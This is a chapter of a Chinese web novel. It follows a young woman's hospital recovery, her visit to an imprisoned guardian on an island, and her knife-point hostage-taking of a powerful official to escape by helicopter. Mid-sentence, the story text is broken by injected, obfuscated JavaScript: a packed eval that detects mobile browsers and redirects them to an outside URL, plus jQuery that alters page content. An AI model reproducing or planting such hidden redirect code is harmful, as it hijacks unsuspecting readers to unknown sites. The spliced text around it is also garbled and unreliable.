氧气汩汩淌进血管,佛在天亮时化作疲倦的男人。 “终于醒了。”秋月白呼出如释重负的气,一面摁铃,一面关切:“有没有不舒服的地方?” 月买茶摇头,她很好,神清气爽的。 秋月白说好,起身给她喂温水,调高床,直到餐车被推来才坐下。 端下色彩缤纷的羹,他舀了勺举到她嘴前,说:“啊。” 顺着他喝了那勺羹,安顺地吃下整碗为了弱化肝而加了很多清脆时令菜的营养羹,她问:“谁开的枪。” 迷迷糊糊记得自己说了什么间谍的话,月买茶想,又要去报道了。 可她也只知道间谍两个字的字面含义。 秋月白扭头,她也扭头,金灿阳光泼洒进来,跳在冷硬的家具上,热闹极了。 被如此好的天气惊到,她问秋月白她昏了几天。 怎么一觉过去,雪天变晴天了。 “两天。”门口传来嘲讽女声,“所有人都要被你害死了。” “是吗?你不是还活得好好的?”月买茶呛回去。 “光知道撕裙子,不知道我会打人啊。”她摸摸自己的脸,以嘲讽温锦衣从领口长到额头的纱布。 没被她惹怒,平静地走到窗边,抱臂看着她,温锦衣说:“月买茶,李惨绿因为朝你开枪现在在安全局里。” “那可不是人能待的地方。” “我倒是不介意往外说议院虐待天才,你喜欢哪家媒体的头条?”月买茶毫不在意道。 “你——” “要么道歉要么滚。” “解琟暴毙的新闻传出去大家会拍手叫好吧。” “对不起,不该打你。”月买茶低眉顺眼道。 温锦衣笑起来:“我爸爸让我来——” “劝你撬开解琟的嘴。” 16.近乡情怯 被羁押后解琟托人给她带话:“就当没我这个人。” 月买茶向来听他的话,收到传话后连去探望的想法都没敢动。后来解琟被关到隐岛,李勒李尅李鹤李惨绿还有七七八八的人都来问她要不要去探监,她一律回复不敢。 直升机翱翔于海上,往不曾在地图上有过踪迹的岛屿去。大陆与阳光被抛在身后,时间一分一秒过去,月买茶合上样书,在心慌意乱里叫齐燕华的秘书把手机给她。 秘书微笑着递与她手机,说中济集团的谢总正好打电话来,“不愧是一家人,真是心有灵犀。” 白他一眼,月买茶接起电话。 一分钟后,镶矢车菊蓝宝石的手机滑落在地。南至罗湖,北到呼兰,她在高端场所里捞起来的失足小孩不明不白全死了,包括被她大张旗鼓送去上学的八朵金花。 她们的成绩很好,为人处世的能力也很棒。 苍白着脸从秘书那里接回手机,她问:“爸爸和青哥会不会受到影响?” “齐校长和李议席长那边什么反应?” 那刻她几乎是在用解琟的命向那个私生子祈求,求那些命全算在她头上。 通话还在持续,贴着冰冷的屏幕,她颤抖着问,“你们想要什么?” “你怕什么?”谢庭玉顿了顿,“你苏爷爷想知道你是什么时候怎么到解琟手上的。” “放心好了,没有能一手遮天的人。” “可能吧。” 绿树丛生的海岛愈来愈大,独栋的红顶小楼在金色阳光的照射下显得无比静好,看着小楼的形制,月买茶松了口气。 解琟不爱和别人住一块儿。 “你们可以待到晚上七点。”秘书说,“到时候我会来接你。” “去吧。”他的语气难得地没有刻薄。 推开门时解琟正好从楼上下来,裹着浴袍。确实到了他要去游泳的时间。 岁月并没有在那个迷得鹰洲的继承人们为之大打出手的男人身上留下一点痕迹,他还是那副魅惑苍生的模样。 抓着格裙,遥遥望着从容踱步而来的男人,她的鼻子泛起酸意。 “新发型不错。”解琟弓身抱了抱她,吻她额头,带她去泳池。 他自然得仿佛只是出了个差。 “不这样没存在感。”泄了一身的力,她让解琟半揽着她走。 “太出众了也不是好事。”解琟温柔地说。 “不出众会死,我就耽搁了几天,哈维就找了个新Elle。” 好一会儿才继续有自若的呼吸拂过头顶,窒息又被救回来了一样恍若隔世地坐在椅子上,她的目光越过为她脱鞋的解琟,越过海蓝宝一样的泳池,落进帕拉伊巴一样的海里。 阳光从外往内,落在海上泳池上解琟的发旋上,无比美好。 小皮鞋被保养得玉白的手整齐地搁在凳下,拖鞋沁凉地咬住她,她听到解琟说: “楼上有你的衣服,送物资来的时候我托他们买的。” “不知道是不是流行款,不过每件我都看过,是适合你的衣服。” 珊瑚橘、经典蓝、亮丽黄、极致灰和长春花蓝……你知道我现在恐惧maxmara比安德鲁.蒙巴顿更甚吗? 眼泪不受控制地滚落到解琟的发旋里,阳光被水珠折射,变形了,连带着海蓝宝和帕拉伊巴也扭曲了,漂亮的宝石变得好狰狞好狰狞,她再也忍不住哭泣起来。 解琟不慌不忙地哄起她,她哭得却比以往每一场哭泣都厉害。 仿佛他们是一对单亲家庭的父女,父亲在外头打工,女儿留守在家,因为太久没见,所以一切横亘在他们之间的隔阂都可以是值得翻出来一品再品的珍宝。 愈盛的日头蒸发走重逢的伤感,坐在泳池边踢水,看解琟游来潜去不喘一口气,她歪头笑起来。 笑完,噙着泪水,她凝视起海天交际处,挑拣着跟解琟说他不在的四年里发生的事。 她说得很大声。 她说易慧的傻,闫涓的韧,钟?的倔,她快乐地分享四人间的美好。 解琟坐在对岸,温柔地看着她,温柔地点着头,在她词穷时问她跟齐燕华相处得可好? “相处得来。”月买茶说,她还说她把齐燕华当成是和解琟一样白手起家的人,却忘了很小的时候她就在ERA的红框里见过他了。 他是我们的第一公子。 温柔又哀伤地,解琟扭头看海,“这下我们了了真成公主了。” 海看久了眼睛有点儿涩,用力眨起眼,月买茶说,“跟你在一起,一无所有我也乐意。” 解琟扎入水中,解琟跃出水面,解琟一撑池壁,坐到她身侧,做出与她一样的眺望远方的姿势,很怀念地笑,“这么黏人啊。” 解琟已四十有八,身材和脸蛋的质感却还在金字塔尖。 “在我这里可以报忧。”牵起她的手,摸她的手腕,解琟说。 她的皮肤白,平日里小磕小碰一下都要留下痕迹,更别说利器了。 月买茶不是很想回忆十六岁,被几乎所有人背对的十六岁太痛了。 转移话题似的,她提起谢庭玉的来电。 不想揭旧伤疤,就把还没凝结的新伤疤掰出来展示,骨肉皮从里到外都好吃。 那些命就是骨髓了吧。她倚住解琟的肩,骨殖一样坚硬的肩,靠着不大舒服。 “我不理解。” 落个纵女的名声,被带走调查,至少今年的最高大会是没齐燕华的事了。 他母亲对寒门有恩,他父亲是旧派中流砥柱,他本人的功绩和实力在二代里也是顶尖的,怎么会发生那样的事呢? “是他自己的手笔吧,他最擅长将计就计了。” 齐燕华一点儿都不喜欢她跟那些人来往,哪怕她一再解释没有人是绝对自我地去堕落的。 但齐燕华就是不信。 “齐璆不是会草菅人命的人。”解琟说,“而且他真心拿你当女儿,怎么会给你添那么严重的污点。” 月买茶嗤地笑了声。 解琟默了默,“你上岛做什么?” 她说了她被温锦衣惹怒的事,指指格裙,她说李惨绿被关起来审核,齐燕华不见踪影。 沉默良久,解琟笑了,他笑起来的样子很好看,像光芒四射的大明星被粉丝逗乐。 “那样啊。”解琟说。 听出他感叹里的鼓励,她嘟囔起在青琐的第二日,被枪顶太阳穴的上午和被冷待的下午。 “也不知道困着我要干嘛,送我爸最后一程?还真不怕我把太平间砸了。” 在解琟面前,她说话从不顾忌,从狗到人说坏话说了个遍,她满怀希望地提起筹备了很久的复仇之后。 她已在科英布拉大学旁边买好了房子,南洋风的,她会早睡早起,会试着自己做饭,健身,收拾家里,等学好葡萄牙语她就去里斯本,或许会去应聘佩索阿故居博物馆的讲解员。 “佩索阿是葡萄牙的诗人。”她解释道,商人之家对诗不大感冒,顶多看点艾略特。 那还是因为祖父喜欢艾略特。 “这些事在家里也能做。”解琟说,“The best time to plant a tree was ten years ago. The second best time is now.”*1 “不是一个性质的啦。”她摇头,在解琟面前,她的no像撒娇。 “留在家里好不好,了了有可以依靠的家了不是吗?” “留在这,做小公主好不好。” “钱不够花就找家里要好不好。” 两句好不好衔接得太顺畅,以至于月买茶都没想到解琟是怎么知道她钱不够花的。 “齐燕华不可能真心对我好,他谁都算计。” “我那三个没妈没爸妈没爸的哥哥可帮他减轻了不少压力。” “北省的议长怎么会不算计。”解琟对齐燕华似乎有什么滤镜,“一家人总是要互相帮助的。” “可是他在边境线上朝我开枪,害我骨折。”撸起袖管,月买茶露出去年冬天的疤痕。 摸过那条长痕,解琟依旧坚持他的看法,坚持齐璆会好好地真心地对待故友的女儿。 “他是最好的选择,比哈维好。” 放下袖管,她问要是齐燕华倒了怎么办。 “天塌了他都不会塌。”解琟说。 想不出回怼的话,她只好说你信谁我就信谁。 “去沙滩椅上躺着吧,脚都泡皱了。”说着解琟就又去游泳了。上了年纪的人,要保持身材就必须比年轻人付出更多的努力。 没有听大人的话坐到椅子上,她从泳池里捞上浮尸一样白的脚,一片一片抠掉猫眼石指甲。 边抠,她边想,要是不能见到李惨绿,她就再也不做美甲了。 好像不知道大清已经灭亡了的山民在立贞洁牌坊啊。 九点左右解琟结束了运动,换上舒适的衣服,他们像在家里一样窝在沙发上,以电影为背景音各做各事。 穿黑绸家居服的男人运筹帷幄处理着事务,坐在一边翻他批阅过的文件,她后知后觉解琟一直在她身边。 他还在赚钱,还在做爪牙。 正午的时候解琟把寂静岭换成风味人间,让人食指大动的背景音里,他戴上围裙,进厨房做起了饭。 辨不清油盐酱醋茶,月买茶跟着进了厨房,打开冰箱,拿了一罐无糖可乐和一罐常规可乐出来。 又搬出一桶冰淇淋搁在岛台上,她叮铃哐当地挑起漂亮杯子。 “了了。”背对着她,解琟温柔地劝阻道,“要吃饭了。” “我好久没喝了。”把无糖可乐倒进玻璃杯里,加上一球无糖冰淇淋,月买茶猛喝一大口,然后吐掉。 太难喝了。 “了了。” “我又没咽下去,就尝个味道。”走到解琟身边,看他游刃有余地切苦瓜,她问: “你是不是什么都知道呀?” 解琟笑着喂了她一块儿白玉苦瓜,说怎么会有人什么都知道。 咽下脆嫩的苦瓜,她继续问:“我被人在教室里扒得只剩内衣了你知道吗?” 解琟说知道。 “我被人当做小三网暴你知道吗?” 解琟还说知道。 “他们拿你的安危威胁我,你知道吗?” 解琟说知道。 “你什么都知道。”解琟往骨头汤里下白色粉末,她慌张地落起泪,“你恨我,是不是?” “你不爱我了,对吗?” 解琟仍旧是一副温柔倾听的样子,“去摆餐具吧,要开饭了。” “不是一直想我做饭给你吃?” 形状各异的锅们协奏着,她挑了隆重的银餐具摆上桌。 肉菜汤饭的质量没辜负银餐具,乖巧地吃着蔬菜,她一小口一小口在碗筷的碰撞声里,吃到被解琟制止,“又不是最后一顿。” 那确实不是最后一顿,晚饭才是最后一顿。 七点钟钟声响起时秘书幽灵一样无声无息地出现在门口,而那时她正试图把解琟做多的饭全部打包走。 “了了。”帮她打包着,解琟用清澈明亮的桃花眼看她,诱骗一样哄道,“就当没我这个人,好不好。” “李惨绿说议院会给你一张特赦令。”低着头,扯着便当袋的拉链头,她说,“我等你带我回家。” “我来吧。” 便当袋的拉链终于被拉上,低着头拎着鼓鼓囊囊的袋子,她越过秘书上了直升机。 直升机的螺旋桨转啊转,有棕榈叶被吹落,她始终没听到解琟的答复,哪怕只是一声嗯。 夜里的岛屿几乎和海洋融成了一体,遥遥将黑暗甩在身后,繁华愈来愈近,确定自己不会开口就哽咽后,她问秘书: “那些人怎么办?总不能白白死了。” 秘书笑眯眯的很高深,“大小姐喜欢马尔克斯,一定知道逼疯何塞.阿尔卡第奥第二*2的事。” 月买茶当然知道。她的西语就是在马孔多*3学的。 火车驶向大海,三千根香蕉凭空消失,一时不知道是该想人命不值钱还是该想遗忘不愧是第二次屠杀,她累极般闭上眼。 香蕉真是最便宜的水果。 八朵金花的曼妙身姿旋转于眼前,她耳边响起第一朵花为了讨好她而去学的lemon tree。 那小姑娘的英语是真的差。 * 月买茶在歌舞方面着实没什么天赋,本人对唱唱跳跳也不感兴趣。 但那夜她突然就很想舞一场,穿易慧送的红绸吊带裙,哼她喜欢的歌,做她莫名其妙记下来的动作。 摆胯旋转,她赤着脚,在厚重的地毯上,抱着一大沓访谈,一圈一圈地转,及肩的紫发飞扬。 有喇叭嘴的古董留声机上,黑胶唱片缓缓转动着,转出女人的低音。 ah ah ah ah ah ah ah ah Cacciatore 美酒佳肴 La da da da La da da da Limousines 豪车别墅 歌手磁性的声音回荡在接客的大厅里,齐燕华驱散下属的声音低低地路过,停在铺着男式羊绒大衣和牛仔裤的沙发边。 温锦衣坐过的猩红沙发已被换为棕色的皮沙发,油亮的,给那座本来就没什么人情味儿的别墅添了丝权谋的阴险。 “心情不好,跳会儿舞。” 齐燕华点点头。 Ciao amore 再见爱人 La da da da La da da da Soft ice cream 甜美可口的冰淇淋 最后一句歌词融化在空气里,前奏的节拍又响起来。 Every thing looks better from above my king 我的国王从上俯瞰万事万物都那么的美好*4 领针被轻放在桌子上的声音清晰,水声响起,月买茶听见喉结滚动的声音。 真的真的很嫉妒啊。 他站在那个同龄人身边,看他的家世为他的容貌与才华加码时不曾嫉妒过吗? 又一曲结束,迈阿密的灯光再次亮起,月买茶一股脑把访谈投进燃着熊熊大火的壁炉里。 旋转到齐燕华身边定点,她缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995675|193415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓地放平脚,拿起牛仔裤,给自己套上。 把过长的上衣扎进裤子里后,捋平的方式有很多种,月买茶选择从牛仔裤的裆口伸进去手,扯平那条易皱的裙子。 “你舍友不是复试完了,不然现在就跟她出去玩,散散心。”齐燕华终于开口,视线落在花瓶上。 那天家里各处插花的焦点花是紫玫瑰。 “裙子太长,我在捋平。”月买茶平静地说,“你都知道我不开心了,把坏情绪分享给朋友可不大好。” “我叫Lucky和Smile来陪你。”齐燕华放下装着温水的威士忌杯,“那是宠物该做的。” “谢谢。” “不客气。”齐燕华转过身,迈腿。 月买茶跟上他。 身居高位又树敌众多的人是很敏感的,还没跟上几步,齐燕华就转过头捍卫他的安全感。 他转头,一片他亲自差人磨的利刃就架在了他大动脉处。 指下的脉搏平稳有力,月买茶情绪淡淡地提出要求:“给我安排直升机,送我去马尼拉。” “别耍心眼,我不想你受伤。”她轻声说。 跟她一样平静,齐燕华说好,“我安排人,我们悄悄的,别惊动警卫。” 但在人人心向往之的悯山,在大元帅故居里,长辈健在的第一公子被挟持的事怎么可能不走漏风声。 修奶奶发出尖叫,然后是其他用人,只有猫和狗还保持着养尊处优的冷静。 “不准叫人。”齐燕华用训斥下属的严肃语气对自己的保姆说。 捂着嘴摇头,修奶奶踉跄着倒退在她挟持齐燕华出门的路上。 竹园别墅太大,他们从客厅走到大门口花了不少时间。 门槛之外,齐燕华的秘书团保镖一样冷面守在那。 齐燕华语气淡淡说了遍她的要求,她在一边帮腔:“我不会伤到他。”但那片削铁如泥的刃已在齐燕华肤上落下了血痕。 保持着不苟言笑的样子,齐燕华吩咐道:“别闹开,按我说的去办。” 大秘书颤抖着呼吸吩咐人,修奶奶把用人和猫狗赶进屋里时,探照灯无情地打破了他们一起维持的冷静。 直升机发出巨大的嘚嘚声,黑衣武装的特|警们身上电流声滋啦,狙击|枪架起,子弹上膛,所有黑洞洞如海洋的枪口,和正红的点,一起瞄准她。 几辆层层护卫的车开过喷泉,两个旁人见了要用毕生所学去阿谀奉承的男人匆匆挥开司机下车,不及站稳就怒目向她。 “快把刀放下,这是能闹着玩的吗?”林高义严肃地呵斥。 “有话好说,父女之间有什么讲不开的,没必要这样。”彭嵩跟着说。 月买茶没回话,重复要求只会显得她歇斯底里又没底气,所以她打算等还在路上的人们到达后再宣布。 第二批来的是脸色苍白的李惨绿,和他爷爷,他爷爷面色挺红润的。 李清许锐利的视线扎在身上,她什么感觉都没有。 山路上黑色车辆极速行驶着,算了算车速,她看向李惨绿:“你还好吗?” 立刻有一缕红外线分到李惨绿身上,李惨绿脸色苍白,气场却平静,跟他爷爷一样平静。 “我很好。”李惨绿说,“你怎么样?” “有种在高考考场上的感觉。”月买茶说。 一种睽违许久的理智又疯狂,紧张又解脱的感觉。 李惨绿没参加过高考,礼貌地嗯了声后便不说话了。 于是他们静默地相望起来。 静默到迈阿密的灯光再次亮起,那辆奔驰于山路上的车终于在漂移里赶上青琐前所未有的挟持事件。 来人是还套着安全服的封重,他带来一个谈判专家。 谈判专家问月买茶要什么。 月买茶认真地,以一乙水平清晰地说了遍自己的要求:她的特殊护照和开往公海的非夏洲归属直升机。 “安全局下班了,不然等明天?”封重笑道:“怎么突然要走,不喜欢青琐吗?” 她给李惨绿舅舅面子,没说不喜欢你们不把人当人,“那些人是谁害的?” 没有人给她答案。 那是一个很美的夜晚。 被雪打磨过的夜静澈,深蓝无云,像一块矢车菊蓝宝石;远离CBD的权贵住宅区静谧且没有倒人胃口的汽油味道,清爽的玫瑰香柔柔涌动在空气里,叫人心旷神怡;晚风虽冰但力度正好,让每个人的发丝与衣服以一种洒脱悠闲的角度沙沙在空气里。 真的是个很美的夜晚。 那或许是所有人能安静僵持着的原因。 但当一滴血被破损美甲上的公主方形切割钻石割得四分五裂在地上开出一朵小小的血花时,笑得从容的封重动手了。 他扯住李惨绿,把枪抵在他太阳穴上,皮笑肉不笑:“动脉破了还有得救,枪开了,可就什么都没了。” 平静凝视着脸色苍白的爱人,月买茶说:“我爱你。” “但我更爱自己。” “您开枪吧。”看着李惨绿清澈的琥珀色眼,她说,“我会一直想你,直到我寿终正寝。” 封重不笑了。 五分钟后,她要求的直升机和护照来了。 在特警的枪口下,她和齐燕华先是正着走,而后缓缓转身,倒退着脚步平稳踏进机舱。 “等进了霓国领空我就放了你。”齐燕华拉上舱门时,她说。 齐燕华说好,又说有没有什么话想对我说,“以后就见不到了。” 月买茶难过起来,她挺喜欢齐燕华的,“这世上可有完全独立没被当过工具使的人。”她说出自己很小的时候就在愤怒的事,以陈述的语气诘问。 齐燕华说没见过。 月买茶便想她和齐燕华都见多识广,他们都没见过,那想必是没有了。 “我没什么要说的了。”顿了顿,月买茶很真心道,“抱歉,害你成了笑料。” 齐燕华似乎想摇头,看了看银白刀刃上第二滴血,他维持着那个不大舒服的姿势说:“外头不比家里安全,你别再心软了。” “做事多留点心眼,别带着自己那些经历去认识人,会栽跟头的。” 月买茶点点头。 直升机开了很久,久到她听到海浪翻涌海水起落的声音。 直升机落在接引的轮船上,挟着齐燕华下到甲板上时,她发现来自夏洲的直升机悄无声息地在半空中绕了一大圈。 再远处,是几架别国的侦查机。 “就为了那些人?” 要踏上另一架飞机时,齐燕华问。 她说怎么可能。 齐燕华笑了声,猛地停住了脚步。临近北冰洋的海域冰冷,吹得人头脑发胀,她又是第一次挟持人,没什么经验,被他那样突然一出声,当即愣住了。 只一秒,齐燕华握住她的手腕往旁一甩一扭。 骨头脱臼的嘎啦声响彻脑海,她看着齐燕华颈上喷出来的血,难过地垂下眼皮。 人们蜂拥而至围住齐燕华,无人在意着,她忍痛爬起来,佝偻着腰去拾匕首。 握着匕首,趁无人理会之际向接应的飞机跑去,她听见齐燕华惊恐的声音: “不——” 噗。